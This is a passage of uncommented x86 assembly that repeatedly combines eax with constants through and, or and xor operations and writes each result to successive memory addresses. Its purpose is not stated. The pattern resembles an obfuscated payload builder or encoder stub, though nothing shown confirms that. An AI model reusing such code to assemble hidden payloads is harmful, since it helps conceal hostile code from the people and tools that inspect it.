add ebx, ecx
xor eax, 0x209a53ce
and eax, 0x4260720
or eax, 0xe2c82804
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7562cef4
xor eax, 0x31ef5ae2
and eax, 0xb514
or eax, 0x38b640c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x68a02d5a
xor eax, 0x3ed4702b
and eax, 0x12700530
or eax, 0xc1822a00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x22c7e929
xor eax, 0x1b0f1c97
and eax, 0x8093597
or eax, 0x2632c840
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26abfaae
and eax, 0x4117a6b
or eax, 0x10000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x670e51ca
and eax, 0x630e2a21
or eax, 0xe0c042
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62f686f0
xor eax, 0x40051eb9
and eax, 0x15b4048
or eax, 0x40000410
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54c578bc
and eax, 0x54407018
or eax, 0x80008003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b379a02
and eax, 0x9002
or eax, 0x1eb64e9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7443c244
and eax, 0x7453020a
and eax, 0x410000
or eax, 0x5e080f9c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1c12daeb
and eax, 0x405895f1
or eax, 0x1240000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dae1315
and eax, 0x1280000
or eax, 0x20c3c4c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2c7a6387
and eax, 0x8e0e546
or eax, 0x50001800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4100ad9a
and eax, 0x100040c0
or eax, 0x24002522
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9a89bc9
and eax, 0xe648
or eax, 0x2000010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6eaaee0f
and eax, 0x42a00402
or eax, 0x90541180
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5667edd6
and eax, 0x1487a110
or eax, 0x8000021
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c1c0107
xor eax, 0x2497f6e3
and eax, 0x100115a0
or eax, 0xc300001d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x664f2948
and eax, 0x660e3c21
or eax, 0x904002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60121187
xor eax, 0x29e047a5
and eax, 0x4c360000
or eax, 0xa0018489
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x388d6e7a
and eax, 0x121efb61
and eax, 0xa000
or eax, 0x63e1059c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x71da8ec2
and eax, 0x5fe58415
and eax, 0x11610404
or eax, 0x80402a2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x526ec0c8
and eax, 0x420a426c
or eax, 0x94600810
mov dword [ebx], eax
add ebx, ecx
or eax, 0x91b6852
xor eax, 0x6c8ea935
and eax, 0x90948249
or eax, 0x40083414
mov dword [ebx], eax
add ebx, ecx
and eax, 0x37ff9ed9
xor eax, 0xe980f4c
and eax, 0x1e009111
or eax, 0xc324c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16c5f5e4
and eax, 0x12c0d058
or eax, 0xc1100a02
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c526468
or eax, 0x49c9b7a9
and eax, 0x895078fb
or eax, 0x20040000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e922192
and eax, 0x895270aa
or eax, 0x290600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x467b60d8
xor eax, 0x1746b6dd
and eax, 0x9000a0ac
or eax, 0x26b14500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x64136f4f
and eax, 0x32923081
and eax, 0x12820000
or eax, 0x844d994e
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6cd886f2
or eax, 0x19f19df6
and eax, 0xe6939c20
or eax, 1
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x30f9b5bc
and eax, 0x49b1fd1d
and eax, 0x202914
or eax, 0x10cc94e2
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x404b70f3
and eax, 0x4004c501
or eax, 0x2450324a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x78a4acd5
or eax, 0x6f37a8e6
and eax, 0x3340401
or eax, 0x884010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4e8d07f4
or eax, 0x55b43e38
and eax, 0x5c3d6431
or eax, 0x20408002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3fab8ed7
and eax, 0x38080413
or eax, 0x507344
mov dword [ebx], eax
add ebx, ecx
or eax, 0x21c9cea
and eax, 0x67cc53d1
and eax, 0xc1210
or eax, 0x41022426
mov dword [ebx], eax
add ebx, ecx
and eax, 0x33d2eac9
and eax, 0x1022000
or eax, 0x727ddd32
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6dce4cac
and eax, 0x610a4420
or eax, 0x1830330e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1daedc93
or eax, 0xa49a656
and eax, 0x1049b242
or eax, 0x4940829
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7cb610c2
and eax, 0x68142880
or eax, 0x4014
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x74800bac
and eax, 0x18d0522b
and eax, 0x18800008
or eax, 0x2068980
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b32cc74
and eax, 0x119204ac
or eax, 0x40401202
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5e4c023
xor eax, 0x4f601de1
and eax, 0x1914c024
or eax, 0xa0800490
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5b974868
and eax, 0x42018884
or eax, 0x13c3001
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xb233f55
and eax, 0x3aa50a6b
and eax, 0x8000000
or eax, 0xe2f31993
mov dword [ebx], eax
add ebx, ecx
or eax, 0x422d50c7
or eax, 0x6f491882
and eax, 0xc9300841
or eax, 0xa028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x588a2153
and eax, 0x3a0525c0
and eax, 0x40
or eax, 0x51941717
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5bdd4c8a
and eax, 0x779fcf
and eax, 0x151fc9
or eax, 0xbaa22010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56a91c62
and eax, 0x32af2032
or eax, 0x100c004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5407f138
and eax, 0x3201104
or eax, 0x88478c41
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4794e158
and eax, 0x40d1041d
or eax, 0x10048342
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13b00e77
and eax, 0x10000003
or eax, 0xa84920a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bdedf28
or eax, 0x40cebc59
and eax, 0x401633d9
or eax, 0x4200000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x710c3c9e
xor eax, 0x5a725d
and eax, 0x15604502
or eax, 0x210301d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3b37884b
xor eax, 0x37a0e4ea
and eax, 0x8011995
or eax, 0xd420c00a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66cad04c
and eax, 0x3a0bc80a
or eax, 0x1142600
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6de6c59
and eax, 0x2f7c3f2a
and eax, 0x28000000
or eax, 0x12367500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62b43a7c
and eax, 0x7124604c
and eax, 0x4000404c
or eax, 0x2363bd80
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62535ffe
xor eax, 0x143151a1
and eax, 0x7242860b
or eax, 0x83d1120
mov dword [ebx], eax
add ebx, ecx
or eax, 0x102c790c
or eax, 0x67c8b106
and eax, 0x6009e82a
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62460750
and eax, 0x1e56a
or eax, 0x14101005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x14b1e059
and eax, 0x801500
or eax, 0x9b0be0c9
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x17936ede
or eax, 0x148b7346
and eax, 0x8c199912
or eax, 0x430400a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56439ad7
and eax, 0x81000161
or eax, 0xa15812
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5948e593
or eax, 0x7f6106c3
and eax, 0x821eff0
or eax, 0x120004
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d22dd0f
and eax, 0x110258
or eax, 0x40ea8d04
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4de4db76
or eax, 0x55790a84
and eax, 0x11bdc1a8
or eax, 0xa0002000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x598f6c99
and eax, 0xf92be539
or eax, 0x2001204
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3ce01438
and eax, 0x46038005
or eax, 0x30001cba
mov dword [ebx], eax
add ebx, ecx
and eax, 0x11b8fe47
xor eax, 0x72a2fe68
and eax, 0x20200020
or eax, 0x9d4d0580
mov dword [ebx], eax
add ebx, ecx
and eax, 0x657d29b3
xor eax, 0x7e178d0f
and eax, 0x181088a2
or eax, 0x4052140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6a9bc93f
and eax, 0x108a205d
or eax, 0x88111f02
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7386ab70
xor eax, 0x420a9798
and eax, 0x10040087
or eax, 0x4a1510
mov dword [ebx], eax
add ebx, ecx
and eax, 0x318e6abf
and eax, 0x482d347f
and eax, 0x10
or eax, 0x2e827560
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71d88b84
and eax, 0x20800100
or eax, 0x5357222d
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66381fd5
and eax, 0x43a4215c
or eax, 0x8000002
mov dword [ebx], eax
add ebx, ecx
or eax, 0x61dcd23f
and eax, 0x2010214b
or eax, 0x30400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17e12764
and eax, 0x2f565be0
and eax, 0x140
or eax, 0xc95c52a9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x12659ec8
and eax, 0x401208
or eax, 0x69a92900
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1aadd4f
xor eax, 0x22697d4c
and eax, 0x3828202
or eax, 0x80117800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7d9afa9a
and eax, 0x125802
or eax, 0xb0680199
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x630b243d
and eax, 0xd0402da6
or eax, 0x24848218
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1e58985
and eax, 0x440984
or eax, 0x9902543a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7283985a
and eax, 0x3c4a7498
and eax, 0x18
or eax, 0xc1252cc4
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x33cce203
xor eax, 0x317ad414
and eax, 0xc00100c3
or eax, 0x10402004
mov dword [ebx], eax
add ebx, ecx
and eax, 0x54bf780f
and eax, 0x10005
or eax, 0x276a98d0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f520d6c
xor eax, 0x747cf427
and eax, 0x282823
or eax, 0x80c00008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c3f0882
and eax, 0x8c550800
or eax, 0x4044
mov dword [ebx], eax
add ebx, ecx
or eax, 0x59e393b4
or eax, 0x26215f4f
and eax, 0x57975738
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1d23f78d
or eax, 0x4560624a
and eax, 0x4b8482da
or eax, 0x20021400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23f68864
xor eax, 0x470034d9
and eax, 0x9400845
or eax, 0x50099508
mov dword [ebx], eax
add ebx, ecx
and eax, 0xdc7dbf7
and eax, 0x1d70922c
and eax, 0x1000
or eax, 0x48620da
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x529103c3
and eax, 0x6021210
or eax, 0x8c80c42
mov dword [ebx], eax
add ebx, ecx
and eax, 0x487a0a23
and eax, 0x29850c5b
and eax, 0x802
or eax, 0x10a4d608
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4a1a0adc
xor eax, 0x7318c734
and eax, 0x982182a
or eax, 0x42488204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x453716d
and eax, 0x647918a7
and eax, 0x24
or eax, 0x2336ad89
mov dword [ebx], eax
add ebx, ecx
or eax, 0x38f966
and eax, 0x771b5a5d
and eax, 0x21001001
or eax, 0x40a101a0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3bf2794e
and eax, 0x91dd91c
and eax, 0x104808
or eax, 0x16e28730
mov dword [ebx], eax
add ebx, ecx
or eax, 0x715a4e9f
and eax, 0x60100fb3
or eax, 0x51000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7c385d01
and eax, 0x4b802e9c
and eax, 0
or eax, 0x9cc2112f
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1f4f1b9b
and eax, 0x10001002
or eax, 0x420042e4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x90bf75d
or eax, 0x674c4e20
and eax, 0x5445c60
or eax, 0x8001a182
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ff6f2c3
or eax, 0x5b1e73f7
and eax, 0x25291686
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x13c01b7e
and eax, 0x26a00940
or eax, 0x49148005
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3def6aaa
xor eax, 0x5835badc
and eax, 0x244810
or eax, 0x1918008
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xdd72a48
and eax, 0x4420040
or eax, 0x430d0c2e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x66fbaaf3
and eax, 0x42400020
or eax, 0x9990701c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x122a2eb
or eax, 0x6fd38889
and eax, 0xa311f2bc
or eax, 0x40500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5731f58
and eax, 0x20440e4
or eax, 0x110713
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62d2ceee
xor eax, 0x2874a359
and eax, 0x2024ae
or eax, 0x111b0840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5de87b95
xor eax, 0x5ed6f75f
and eax, 0x4e64749
or eax, 0xb0012024
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f7bed65
and eax, 0x4414565
or eax, 0x4a889882
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5efb27d8
and eax, 0x6410580
or eax, 0x1266018
mov dword [ebx], eax
add ebx, ecx
or eax, 0x706ddf5b
and eax, 0x236d8683
or eax, 0x24
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7650ba21
and eax, 0x11d1880
or eax, 0x2042c248
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4620b4f
and eax, 0x41f0b06
or eax, 0xa800410
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x715417de
and eax, 0x71cb08c0
or eax, 0x8000e420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x146704c5
and eax, 0x410080
or eax, 0x4a0a80e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b296b69
or eax, 0x6acbfe8c
and eax, 0xc8a1c05
or eax, 0x80140000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6ef99204
and eax, 0x350bac46
and eax, 0x24000404
or eax, 0x10f47363
mov dword [ebx], eax
add ebx, ecx
and eax, 0x530f7eb5
and eax, 0x10000221
or eax, 0xe3e88800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31d87baa
xor eax, 0x3e7b4607
and eax, 0x7000908c
or eax, 0x804860
mov dword [ebx], eax
add ebx, ecx
and eax, 0x191bce68
and eax, 0x1000c868
or eax, 0xeb0d0796
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x274f32e0
and eax, 0x9c009812
or eax, 0x21c0281
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f613e76
or eax, 0x7d2edb2d
and eax, 0x9b73eba6
or eax, 0
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x769505a1
and eax, 0x30fe8c9
and eax, 0x6c001
or eax, 0xdcd90390
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7d403a44
and eax, 0xb0cb7254
or eax, 0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64a6cc1a
and eax, 0x824010
or eax, 0x9035806b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44932fd0
and eax, 0x800010
or eax, 0xd928dc05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7cd3a435
and eax, 0x18008014
or eax, 0x2075786a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x472cb245
and eax, 0x76180210
or eax, 0x808685c4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1d35cba9
and eax, 0x14100000
or eax, 0x88600006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7b56c7b1
or eax, 0x522cb7ba
and eax, 0x12049722
or eax, 0xa4834041
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe296097
and eax, 0x20aa1726
or eax, 0x1400800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf51ae38
and eax, 0x291a00c
or eax, 0x800404a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1715d22b
and eax, 0x89d1139
and eax, 0x10009
or eax, 0xd5886980
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5566abc9
xor eax, 0x37f11f4a
and eax, 0x60213201
or eax, 0x150ec938
mov dword [ebx], eax
add ebx, ecx
and eax, 0x458f6cae
or eax, 0x11e04965
and eax, 0x41e90909
or eax, 0x28101012
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3ba7f7ca
xor eax, 0x3dbae798
and eax, 0x40440801
or eax, 0x392841a4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f7314b5
or eax, 0x6d49a1c4
and eax, 0x44282080
or eax, 0x10105010
mov dword [ebx], eax
add ebx, ecx
and eax, 0xe83b2f2
or eax, 0x58a3941b
and eax, 0x58819083
or eax, 0x20540140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21963993
and eax, 0x28850
or eax, 0xa2bc1523
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60af42c8
and eax, 0xa0040
or eax, 0x840d32b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1f33165e
or eax, 0x15b3fa1c
and eax, 0x56a5310
or eax, 0x600400c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54f80aae
and eax, 0x45da4868
or eax, 0x88008401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x714b83b5
and eax, 0xac804bd4
or eax, 0x43622021
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1daebf89
xor eax, 0x249ae825
and eax, 0x94522041
or eax, 0x8204386
mov dword [ebx], eax
add ebx, ecx
or eax, 0x622ca797
or eax, 0x748d9015
and eax, 0x2cbe9090
or eax, 0x1000800
mov dword [ebx], eax
add ebx, ecx
and eax, 0x769b73c3
and eax, 0x980000
or eax, 0x5940e501
mov dword [ebx], eax
add ebx, ecx
or eax, 0x440b5e1
xor eax, 0x1e3fe81a
and eax, 0x42860533
or eax, 0xbc10e204
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4aec09e2
and eax, 0x40040002
or eax, 0xb5712414
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x76504220
and eax, 0x80206600
or eax, 0x480881
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x620ac2c8
or eax, 0x1eac7427
and eax, 0xb0e2a84b
or eax, 0x290
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3524a1f0
or eax, 0x11d03720
and eax, 0x91522201
or eax, 0x8200010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x11dfaefc
and eax, 0x800c8d
or eax, 0x72520312
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2a429750
and eax, 0x181098cf
or eax, 0xa7670720
mov dword [ebx], eax
add ebx, ecx
and eax, 0x18404fbc
and eax, 0x70c280e2
and eax, 0x100000a0
or eax, 0x612db044
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d571eac
and eax, 0x763047eb
and eax, 0xa0
or eax, 0xae727218
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3bfd472d
xor eax, 0x6299120b
and eax, 0x1110209c
or eax, 0x8609040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x65501e78
and eax, 0x2070a8a4
or eax, 0x80854103
mov dword [ebx], eax
add ebx, ecx
or eax, 0x780da4a2
and eax, 0xd8312004
or eax, 0x3020210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2a000595
or eax, 0x7bc3f688
and eax, 0x7b30a294
or eax, 0x862
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2380eb6d
xor eax, 0x750a8440
and eax, 0x882808
or eax, 0x50048000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6575971f
and eax, 0x48008
or eax, 0x272b0b43
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5225604c
or eax, 0x4be56395
and eax, 0x490103c1
or eax, 0x80001000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3326582b
xor eax, 0x378c4d36
and eax, 0xc482024d
or eax, 0x10108102
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a7ac20a
or eax, 0x4872daca
and eax, 0x86202c2
or eax, 0x14892505
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5220a72e
and eax, 0x14e8a2c0
or eax, 0x20101810
mov dword [ebx], eax
add ebx, ecx
and eax, 0xeff55fc
and eax, 0x4381010
or eax, 0x93048a27
mov dword [ebx], eax
add ebx, ecx
and eax, 0x17537cf1
and eax, 0x1d33b5fd
and eax, 0x14000020
or eax, 0x4ac6c4c8
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54c2efeb
xor eax, 0x2fcd01b3
and eax, 0x50082210
or eax, 0x8ae40022
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d2d4072
and eax, 0x80010
or eax, 0x480854d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x264f11cf
and eax, 0x80144
or eax, 0x48632812
mov dword [ebx], eax
add ebx, ecx
or eax, 0x471edcc5
and eax, 0x5c73e115
and eax, 0x4c122104
or eax, 0x23040e4a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x28ed2345
and eax, 0x47cb0003
or eax, 0x18007390
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1c63ba8c
and eax, 0x14401280
or eax, 0x2194c06f
mov dword [ebx], eax
add ebx, ecx
or eax, 0x9d76af0
and eax, 0x1196c860
or eax, 0x80400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x48776e20
and eax, 0x55fcfb08
and eax, 0x11a0a000
or eax, 0x4115454
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x18f37026
xor eax, 0x711ec1bc
and eax, 0x38544008
or eax, 0x12230
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4976033c
and eax, 0xa0c15f2
and eax, 0x8000120
or eax, 0xe4eb4601
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5d57a46e
and eax, 0x4c420420
or eax, 0x939cbadc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3beeb267
and eax, 0x66ed608b
and eax, 0x60200080
or eax, 0x9301fb40
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7b82d626
or eax, 0x34c61ec1
and eax, 0x20c00087
or eax, 0x3188000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x38dad810
and eax, 0x5c27da23
and eax, 0x8025801
or eax, 0x43b501a8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b9c02d8
xor eax, 0x13e2ceb2
and eax, 0x400991c0
or eax, 0x14106a20
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1aea0d7b
and eax, 0x10000160
or eax, 0xee55900b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4b2e67d5
and eax, 0x8023540c
or eax, 0x4a800840
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4d0fd570
and eax, 0x48000400
or eax, 0x819c0b0c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5860bf30
or eax, 0x626d4928
and eax, 0x620d4720
or eax, 0x80103005
mov dword [ebx], eax
add ebx, ecx
and eax, 0x23b86d7a
and eax, 0x22086000
or eax, 0x84609080
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1579aa36
and eax, 0x2011892
or eax, 0x40068108
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6dac9df7
and eax, 0xe0d8401
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4c04f317
and eax, 0xc08f606
or eax, 0x91420848
mov dword [ebx], eax
add ebx, ecx
and eax, 0x57cf5f32
and eax, 0x4404c00
or eax, 0xcab40065
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x205b464b
and eax, 0x40220226
or eax, 0x11005010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6279baa3
and eax, 0x10034237
or eax, 0x84800500
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1b94d2d1
and eax, 0x88040144
or eax, 0x70204009
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b518273
and eax, 0x51414248
or eax, 0x4820400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x8919963
xor eax, 0x4b5aaf2e
and eax, 0x48092100
or eax, 0x30205091
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x465b35ef
and eax, 0x26220056
or eax, 0x40840301
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56d3274f
and eax, 0x42a50454
or eax, 0x89088000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31af15d0
xor eax, 0x43db7a78
and eax, 0x304889f8
or eax, 0x2220403
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x658f17db
and eax, 0x2e58800
or eax, 0xa00a65c1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6768c87f
and eax, 0x22204840
or eax, 0x91953026
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3d79bc66
xor eax, 0x5637653d
and eax, 0x1001048
or eax, 0x60424a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x468ad402
and eax, 0x6000400
or eax, 0x59b3ea93
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6e293a3f
or eax, 0x23316b6d
and eax, 0x3014b4d
or eax, 0x48040002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2ce87199
and eax, 0x4101
or eax, 0x33a71654
mov dword [ebx], eax
add ebx, ecx
and eax, 0x69721546
and eax, 0x1000040
or eax, 0x4283
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4a092c1c
xor eax, 0x4a089099
and eax, 0x48008088
or eax, 0x11270522
mov dword [ebx], eax
add ebx, ecx
or eax, 0x46affbeb
and eax, 0x92b9361
or eax, 0xa0500000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x21c3fe6d
and eax, 0x88a02904
or eax, 0x754712e3
mov dword [ebx], eax
add ebx, ecx
and eax, 0xee05874
or eax, 0x7682e300
and eax, 0x68204240
or eax, 0x80100000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47ae8c03
and eax, 0x32bc0e05
and eax, 0x200000
or eax, 0xac8106c5
mov dword [ebx], eax
add ebx, ecx
and eax, 0x79d3a334
and eax, 0x8800204
or eax, 0x846cbc32
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73f45495
and eax, 0x3224d6b6
or eax, 0x30040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ea87742
and eax, 0x205442
or eax, 0xcc522010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4faa4ff
or eax, 0x37ef8e77
and eax, 0x16b68c55
or eax, 0x80005100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2459cbf6
xor eax, 0x5b96b170
and eax, 0x484907d2
or eax, 0x14861028
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e9edd6d
and eax, 0x408e0560
or eax, 0x3210a296
mov dword [ebx], eax
add ebx, ecx
or eax, 0x680f84ac
xor eax, 0x239b9a2d
and eax, 0x41040811
or eax, 0x2473022c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x765650ff
xor eax, 0x64c9a8a8
and eax, 0x1b6e256
or eax, 0x2c000108
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5aae34ea
and eax, 0x8822008
or eax, 0xf21910b5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2c161cee
and eax, 0x128c2c52
or eax, 0x930122c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5ebf8c4d
and eax, 0x590f8e3c
or eax, 0x80400080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x499d7f4f
and eax, 0x513e83
and eax, 0x10e00
or eax, 0x9726a10e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x747036a6
and eax, 0x2202
or eax, 0xc0ce88f1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3411bd90
and eax, 0x49f233b6
and eax, 0x2090
or eax, 0xe2bf972e
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x618913d1
and eax, 0x24a42a
or eax, 0x58c81890
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76bfec6b
and eax, 0x50a0a008
or eax, 0xa8004051
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1faa15e0
xor eax, 0x4843a91e
and eax, 0x21084024
or eax, 0x10848048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29d595de
xor eax, 0xf9a453a
and eax, 0xc4132
or eax, 0x80c00809
mov dword [ebx], eax
add ebx, ecx
or eax, 0x32f65c9f
